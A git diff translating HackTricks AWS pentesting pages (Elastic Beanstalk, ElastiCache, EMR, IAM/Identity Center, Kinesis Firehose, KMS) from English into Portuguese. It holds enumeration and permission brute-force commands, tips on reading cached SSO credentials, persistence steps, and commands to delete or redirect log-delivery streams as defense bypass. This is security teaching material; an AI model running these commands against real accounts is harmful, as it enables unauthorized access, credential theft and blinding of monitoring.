-### Exposure +### Exposição -Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticbeanstalk--`**(if it was created in the AWS console). Inside this bucket you will find the uploaded **source code of the application**. +Os dados do Beanstalk são armazenados em um **bucket S3** com o seguinte nome: **`elasticbeanstalk--`** (se foi criado no console AWS). Dentro deste bucket, você encontrará o **código-fonte da aplicação** carregado. -The **URL** of the created webpage is **`http://-env...elasticbeanstalk.com/`** +A **URL** da página da web criada é **`http://-env...elasticbeanstalk.com/`** > [!WARNING] -> If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it +> Se você obter **acesso de leitura** ao bucket, poderá **ler o código-fonte** e até encontrar **credenciais sensíveis** nele. > -> if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed. - -### Enumeration +> Se você obter **acesso de gravação** ao bucket, poderá **modificar o código-fonte** para **comprometer** o **papel IAM** que a aplicação está usando na próxima vez que for executada. +### Enumeração ```bash # Find S3 bucket ACCOUNT_NUMBER= @@ -85,33 +84,28 @@ aws elasticbeanstalk describe-instances-health --environment-name # G # Get events aws elasticbeanstalk describe-events ``` - -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md {{#endref}} -### Persistence +### Persistência {{#ref}} ../aws-persistence/aws-elastic-beanstalk-persistence.md {{#endref}} -### Privesc +### Escalação de Privilégios {{#ref}} ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 6305fcc91..112865982 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,10 +4,9 @@ ## ElastiCache -AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**. +AWS ElastiCache é um **serviço de armazenamento de dados em memória e cache totalmente gerenciado** que fornece soluções de alto desempenho, baixa latência e escaláveis para aplicações. Ele suporta dois motores em memória de código aberto populares: **Redis e Memcached**. ElastiCache **simplifica** a **configuração**, **gerenciamento** e **manutenção** desses motores, permitindo que os desenvolvedores descarreguem tarefas que consomem muito tempo, como provisionamento, aplicação de patches, monitoramento e **backups**. ### Enumeration - ```bash # ElastiCache clusters ## Check the SecurityGroups to later check who can access @@ -39,11 +38,6 @@ aws elasticache describe-users # List ElastiCache events aws elasticache describe-events ``` - ### Privesc (TODO) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index b05012f3e..d44d5347e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,38 +4,37 @@ ## EMR -AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark. +O serviço Elastic MapReduce (EMR) da AWS, a partir da versão 4.8.0, introduziu um recurso de **configuração de segurança** que melhora a proteção de dados ao permitir que os usuários especifiquem configurações de criptografia para dados em repouso e em trânsito dentro dos clusters EMR, que são grupos escaláveis de instâncias EC2 projetadas para processar estruturas de big data como Apache Hadoop e Spark. -Key characteristics include: +As principais características incluem: -- **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features: - - **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider. - - **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop: - - Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer. - - HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm. -- **Encryption in Transit**: Focuses on securing data during transfer. Options include: - - **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider: - - **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket. - - **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts. +- **Criptografia de Cluster Padrão**: Por padrão, os dados em repouso dentro de um cluster não são criptografados. No entanto, habilitar a criptografia fornece acesso a vários recursos: +- **Configuração Unificada de Chave Linux**: Criptografa volumes de cluster EBS. Os usuários podem optar pelo AWS Key Management Service (KMS) ou um provedor de chave personalizado. +- **Criptografia HDFS de Código Aberto**: Oferece duas opções de criptografia para Hadoop: +- Secure Hadoop RPC (Remote Procedure Call), configurado para privacidade, aproveitando a Simple Authentication Security Layer. +- A criptografia de transferência de bloco HDFS, configurada como verdadeira, utiliza o algoritmo AES-256. +- **Criptografia em Trânsito**: Foca em proteger dados durante a transferência. As opções incluem: +- **Criptografia de Camada de Transporte de Código Aberto (TLS)**: A criptografia pode ser habilitada escolhendo um provedor de certificado: +- **PEM**: Requer a criação manual e a agregação de certificados PEM em um arquivo zip, referenciado de um bucket S3. +- **Personalizado**: Envolve adicionar uma classe Java personalizada como um provedor de certificado que fornece artefatos de criptografia. -Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version: +Uma vez que um provedor de certificado TLS é integrado à configuração de segurança, os seguintes recursos de criptografia específicos da aplicação podem ser ativados, variando com base na versão do EMR: - **Hadoop**: - - Might reduce encrypted shuffle using TLS. - - Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption. -- **Presto** (EMR version 5.6.0+): - - Internal communication between Presto nodes is secured using SSL and TLS. +- Pode reduzir o embaralhamento criptografado usando TLS. +- Secure Hadoop RPC com Simple Authentication Security Layer e HDFS Block Transfer com AES-256 são ativados com criptografia em repouso. +- **Presto** (versão EMR 5.6.0+): +- A comunicação interna entre os nós Presto é protegida usando SSL e TLS. - **Tez Shuffle Handler**: - - Utilizes TLS for encryption. +- Utiliza TLS para criptografia. - **Spark**: - - Employs TLS for the Akka protocol. - - Uses Simple Authentication Security Layer and 3DES for Block Transfer Service. - - External shuffle service is secured with the Simple Authentication Security Layer. +- Emprega TLS para o protocolo Akka. +- Usa Simple Authentication Security Layer e 3DES para o Serviço de Transferência de Blocos. +- O serviço de embaralhamento externo é protegido com a Simple Authentication Security Layer. -These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases. - -#### Enumeration +Esses recursos, coletivamente, melhoram a postura de segurança dos clusters EMR, especialmente em relação à proteção de dados durante as fases de armazenamento e transmissão. +#### Enumeração ```bash aws emr list-clusters aws emr describe-cluster --cluster-id @@ -46,19 +45,14 @@ aws emr list-notebook-executions aws emr list-security-configurations aws emr list-studios #Get studio URLs ``` - #### Privesc {{#ref}} ../aws-privilege-escalation/aws-emr-privesc.md {{#endref}} -## References +## Referências - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 7a430cc17..d32a1d697 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -1,20 +1,20 @@ -# AWS - IAM, Identity Center & SSO Enum +# AWS - Enumeração de IAM, Identity Center & SSO {{#include ../../../banners/hacktricks-training.md}} ## IAM -You can find a **description of IAM** in: +Você pode encontrar uma **descrição do IAM** em: {{#ref}} ../aws-basic-information/ {{#endref}} -### Enumeration +### Enumeração -Main permissions needed: +Permissões principais necessárias: -- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion` +- `iam:ListPolicies`, `iam:GetPolicy` e `iam:GetPolicyVersion` - `iam:ListRoles` - `iam:ListUsers` - `iam:ListGroups` @@ -22,10 +22,9 @@ Main permissions needed: - `iam:ListAttachedUserPolicies` - `iam:ListAttachedRolePolicies` - `iam:ListAttachedGroupPolicies` -- `iam:ListUserPolicies` and `iam:GetUserPolicy` -- `iam:ListGroupPolicies` and `iam:GetGroupPolicy` -- `iam:ListRolePolicies` and `iam:GetRolePolicy` - +- `iam:ListUserPolicies` e `iam:GetUserPolicy` +- `iam:ListGroupPolicies` e `iam:GetGroupPolicy` +- `iam:ListRolePolicies` e `iam:GetRolePolicy` ```bash # All IAMs ## Retrieves information about all IAM users, groups, roles, and policies @@ -89,64 +88,54 @@ aws iam get-account-password-policy aws iam list-mfa-devices aws iam list-virtual-mfa-devices ``` +### Permissões Brute Force -### Permissions Brute Force - -If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them. +Se você estiver interessado em suas próprias permissões, mas não tiver acesso para consultar o IAM, você sempre pode forçá-las. #### bf-aws-permissions -The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**. - +A ferramenta [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) é apenas um script bash que executará, usando o perfil indicado, todas as ações **`list*`, `describe*`, `get*`** que puder encontrar usando as mensagens de ajuda do cli `aws` e **retornará as execuções bem-sucedidas**. ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` - #### bf-aws-perms-simulate -The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`** - +A ferramenta [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) pode encontrar suas permissões atuais (ou as de outros principais) se você tiver a permissão **`iam:SimulatePrincipalPolicy`** ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` - #### Perms2ManagedPolicies -If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**. - +Se você encontrou **algumas permissões que seu usuário possui**, e você acha que elas estão sendo concedidas por um **papel gerenciado da AWS** (e não por um personalizado). Você pode usar a ferramenta [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) para verificar todos os **papéis gerenciados da AWS que concedem as permissões que você descobriu que possui**. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` - > [!WARNING] -> It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example. +> É possível "saber" se as permissões que você tem são concedidas por um papel gerenciado da AWS se você perceber que **você tem permissões sobre serviços que não são utilizados**, por exemplo. #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**. - +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) é uma ferramenta Python que analisa **logs do AWS CloudTrail para extrair e resumir ações** realizadas por todos ou apenas por um usuário ou papel específico. A ferramenta irá **analisar todos os logs do cloudtrail do bucket indicado**. ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` - > [!WARNING] -> If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who. +> Se você encontrar arquivos .tfstate (arquivos de estado do Terraform) ou arquivos do CloudFormation (geralmente são arquivos yaml localizados dentro de um bucket com o prefixo cf-templates), você também pode lê-los para encontrar a configuração do aws e descobrir quais permissões foram atribuídas a quem. #### enumerate-iam -To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**. +Para usar a ferramenta [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), você primeiro precisa baixar todos os endpoints da API AWS, a partir dos quais o script **`generate_bruteforce_tests.py`** obterá todos os **endpoints "list\_", "describe\_" e "get\_"**. E finalmente, ele tentará **acessá-los** com as credenciais fornecidas e **indicar se funcionou**. -(In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that). +(Na minha experiência, a **ferramenta trava em algum ponto**, [**veja esta correção**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) para tentar corrigir isso). > [!WARNING] -> In my experience this tool is like the previous one but working worse and checking less permissions - +> Na minha experiência, esta ferramenta é como a anterior, mas funciona pior e verifica menos permissões. ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -163,11 +152,9 @@ cd .. # Enumerate permissions python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION] ``` - #### weirdAAL -You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests). - +Você também pode usar a ferramenta [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Esta ferramenta verificará **várias operações comuns em vários serviços comuns** (verificará algumas permissões de enumeração e também algumas permissões de privesc). Mas ela só verificará os testes codificados (a única maneira de verificar mais coisas é codificando mais testes). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -191,12 +178,10 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` - -#### Hardening Tools to BF permissions +#### Ferramentas de Hardening para BF permissões {{#tabs }} {{#tab name="CloudSploit" }} - ```bash # Export env variables ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json @@ -207,11 +192,9 @@ jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json # Get services by regions jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json ``` - {{#endtab }} {{#tab name="SteamPipe" }} - ```bash # https://github.com/turbot/steampipe-mod-aws-insights steampipe check all --export=json @@ -220,50 +203,48 @@ steampipe check all --export=json # In this case you cannot output to JSON, so heck it in the dashboard steampipe dashboard ``` - {{#endtab }} {{#endtabs }} #### \ -Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR! +Nenhuma das ferramentas anteriores é capaz de verificar todas as permissões, então se você conhece uma ferramenta melhor, envie um PR! -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Escalação de Privilégios -In the following page you can check how to **abuse IAM permissions to escalate privileges**: +Na página seguinte, você pode verificar como **abusar das permissões do IAM para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM Post Exploitation +### Pós Exploração do IAM {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Persistence +### Persistência do IAM {{#ref}} ../aws-persistence/aws-iam-persistence.md {{#endref}} -## IAM Identity Center +## Centro de Identidade do IAM -You can find a **description of IAM Identity Center** in: +Você pode encontrar uma **descrição do Centro de Identidade do IAM** em: {{#ref}} ../aws-basic-information/ {{#endref}} -### Connect via SSO with CLI - +### Conectar via SSO com CLI ```bash # Connect with sso via CLI aws configure sso aws configure sso @@ -274,20 +255,18 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` +### Enumeração -### Enumeration +Os principais elementos do Identity Center são: -The main elements of the Identity Center are: +- Usuários e grupos +- Conjuntos de Permissões: Têm políticas anexadas +- Contas AWS -- Users and groups -- Permission Sets: Have policies attached -- AWS Accounts - -Then, relationships are created so users/groups have Permission Sets over AWS Account. +Então, relacionamentos são criados para que usuários/grupos tenham Conjuntos de Permissões sobre a Conta AWS. > [!NOTE] -> Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there). - +> Note que existem 3 maneiras de anexar políticas a um Conjunto de Permissões. Anexando políticas gerenciadas pela AWS, políticas gerenciadas pelo cliente (essas políticas precisam ser criadas em todas as contas que o Conjunto de Permissões está afetando) e políticas inline (definidas lá). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -321,11 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` - ### Local Enumeration -It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example: - +É possível criar dentro da pasta `$HOME/.aws` o arquivo config para configurar perfis que são acessíveis via SSO, por exemplo: ```ini [default] region = us-west-2 @@ -343,20 +320,16 @@ output = json role_arn = arn:aws:iam:::role/ReadOnlyRole source_profile = Hacktricks-Admin ``` - -This configuration can be used with the commands: - +Esta configuração pode ser usada com os comandos: ```bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` +Quando um **perfil do SSO é usado** para acessar algumas informações, as credenciais são **armazenadas em cache** em um arquivo dentro da pasta **`$HOME/.aws/sso/cache`**. Portanto, elas podem ser **lidas e usadas a partir daí**. -When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**. - -Moreover, **more credentials** can be stored in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example: - +Além disso, **mais credenciais** podem ser armazenadas na pasta **`$HOME/.aws/cli/cache`**. Este diretório de cache é usado principalmente quando você está **trabalhando com perfis do AWS CLI** que usam credenciais de usuário IAM ou **assumem** funções através do IAM (sem SSO). Exemplo de configuração: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -364,43 +337,36 @@ source_profile = default mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 ``` - -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Escalação de Privilégios {{#ref}} ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md {{#endref}} -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md {{#endref}} -### Persistence - -#### Create a user an assign permissions to it +### Persistência +#### Criar um usuário e atribuir permissões a ele ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` +- Crie um grupo e atribua permissões a ele e defina um usuário controlado +- Dê permissões extras a um usuário ou grupo controlado +- Por padrão, apenas usuários com permissões da Conta de Gerenciamento poderão acessar e controlar o IAM Identity Center. -- Create a group and assign it permissions and set on it a controlled user -- Give extra permissions to a controlled user or group -- By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center. - - However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +No entanto, é possível, através do Administrador Delegado, permitir que usuários de uma conta diferente o gerenciem. Eles não terão exatamente as mesmas permissões, mas poderão realizar [**atividades de gerenciamento**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 6ca66b5ed..eb575d820 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,12 +4,11 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints. +Amazon Kinesis Data Firehose é um **serviço totalmente gerenciado** que facilita a entrega de **dados de streaming em tempo real**. Ele suporta uma variedade de destinos, incluindo Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk e endpoints HTTP personalizados. -The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases. +O serviço alivia a necessidade de escrever aplicativos ou gerenciar recursos, permitindo que os produtores de dados sejam configurados para encaminhar dados diretamente para o Kinesis Data Firehose. Este serviço é responsável pela **entrega automática de dados ao destino especificado**. Além disso, o Kinesis Data Firehose oferece a opção de **transformar os dados antes de sua entrega**, aumentando sua flexibilidade e aplicabilidade a vários casos de uso. ### Enumeration - ```bash # Get delivery streams aws firehose list-delivery-streams @@ -19,37 +18,26 @@ aws firehose describe-delivery-stream --delivery-stream-name ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN ``` +## Pós-exploração / Bypass de Defesa -## Post-exploitation / Defense Bypass - -In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly. +No caso de firehose ser usado para enviar logs ou insights de defesa, usando essas funcionalidades um atacante poderia impedir que funcionasse corretamente. ### firehose:DeleteDeliveryStream - ``` aws firehose delete-delivery-stream --delivery-stream-name --allow-force-delete ``` - ### firehose:UpdateDestination - ``` aws firehose update-destination --delivery-stream-name --current-delivery-stream-version-id --destination-id ``` - ### firehose:PutRecord | firehose:PutRecordBatch - ``` aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}' aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` - -## References +## Referências - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 543ed31cd..68c869b50 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -4,126 +4,123 @@ ## KMS - Key Management Service -AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys. +O AWS Key Management Service (AWS KMS) é apresentado como um serviço gerenciado, simplificando o processo para os usuários **criarem e gerenciarem chaves mestras do cliente** (CMKs). Essas CMKs são integrais na criptografia dos dados do usuário. Um recurso notável do AWS KMS é que as CMKs são predominantemente **protegidas por módulos de segurança de hardware** (HSMs), aumentando a proteção das chaves de criptografia. -KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**. +O KMS usa **criptografia simétrica**. Isso é usado para **criptografar informações em repouso** (por exemplo, dentro de um S3). Se você precisar **criptografar informações em trânsito**, precisará usar algo como **TLS**. -KMS is a **region specific service**. +O KMS é um **serviço específico da região**. -**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. +**Os administradores da Amazon não têm acesso às suas chaves**. Eles não podem recuperar suas chaves e não ajudam você com a criptografia de suas chaves. A AWS simplesmente administra o sistema operacional e o aplicativo subjacente; cabe a nós administrar nossas chaves de criptografia e administrar como essas chaves são usadas. -**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. +**Chaves Mestras do Cliente** (CMK): Podem criptografar dados de até 4KB de tamanho. Elas são tipicamente usadas para criar, criptografar e descriptografar as DEKs (Chaves de Criptografia de Dados). Então, as DEKs são usadas para criptografar os dados. -A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. +Uma chave mestra do cliente (CMK) é uma representação lógica de uma chave mestra no AWS KMS. Além dos identificadores da chave mestra e outros metadados, incluindo sua data de criação, descrição e estado da chave, uma **CMK contém o material da chave que é usado para criptografar e descriptografar dados**. Quando você cria uma CMK, por padrão, o AWS KMS gera o material da chave para essa CMK. No entanto, você pode optar por criar uma CMK sem material da chave e, em seguida, importar seu próprio material da chave para essa CMK. -There are 2 types of master keys: +Existem 2 tipos de chaves mestras: -- **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it. -- **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys. +- **CMKs gerenciadas pela AWS: Usadas por outros serviços para criptografar dados**. Elas são usadas pelo serviço que as criou em uma região. Elas são criadas na primeira vez que você implementa a criptografia nesse serviço. Rotaciona a cada 3 anos e não é possível alterá-la. +- **CMKs gerenciadas pelo cliente**: Flexibilidade, rotação, acesso configurável e política de chave. Habilitar e desabilitar chaves. -**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. +**Criptografia Envelope** no contexto do Key Management Service (KMS): Sistema de hierarquia em dois níveis para **criptografar dados com a chave de dados e, em seguida, criptografar a chave de dados com a chave mestra**. -### Key Policies +### Políticas de Chave -These defines **who can use and access a key in KMS**. +Essas definem **quem pode usar e acessar uma chave no KMS**. -By **default:** +Por **padrão:** -- It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM. +- Ela dá ao **IAM da** **conta AWS que possui a chave KMS acesso** para gerenciar o acesso à chave KMS via IAM. - Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one. +Ao contrário de outras políticas de recursos da AWS, uma **política de chave KMS da AWS não concede automaticamente permissão a nenhum dos principais da conta**. Para conceder permissão aos administradores da conta, a **política de chave deve incluir uma declaração explícita** que forneça essa permissão, como esta. - - Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work. +- Sem permitir a conta (`"AWS": "arn:aws:iam::111122223333:root"`) as permissões do IAM não funcionarão. -- It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy. +- Ela **permite que a conta use políticas IAM** para permitir acesso à chave KMS, além da política de chave. - **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective. +**Sem essa permissão, as políticas IAM que permitem acesso à chave são ineficazes**, embora as políticas IAM que negam acesso à chave ainda sejam eficazes. -- It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted. - -**Default policy** example: +- Ela **reduz o risco de a chave se tornar inadministrável** ao dar permissão de controle de acesso aos administradores da conta, incluindo o usuário root da conta, que não pode ser excluído. +**Exemplo de política padrão**: ```json { - "Sid": "Enable IAM policies", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::111122223333:root" - }, - "Action": "kms:*", - "Resource": "*" +"Sid": "Enable IAM policies", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::111122223333:root" +}, +"Action": "kms:*", +"Resource": "*" } ``` - > [!WARNING] -> If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**. +> Se a **conta for 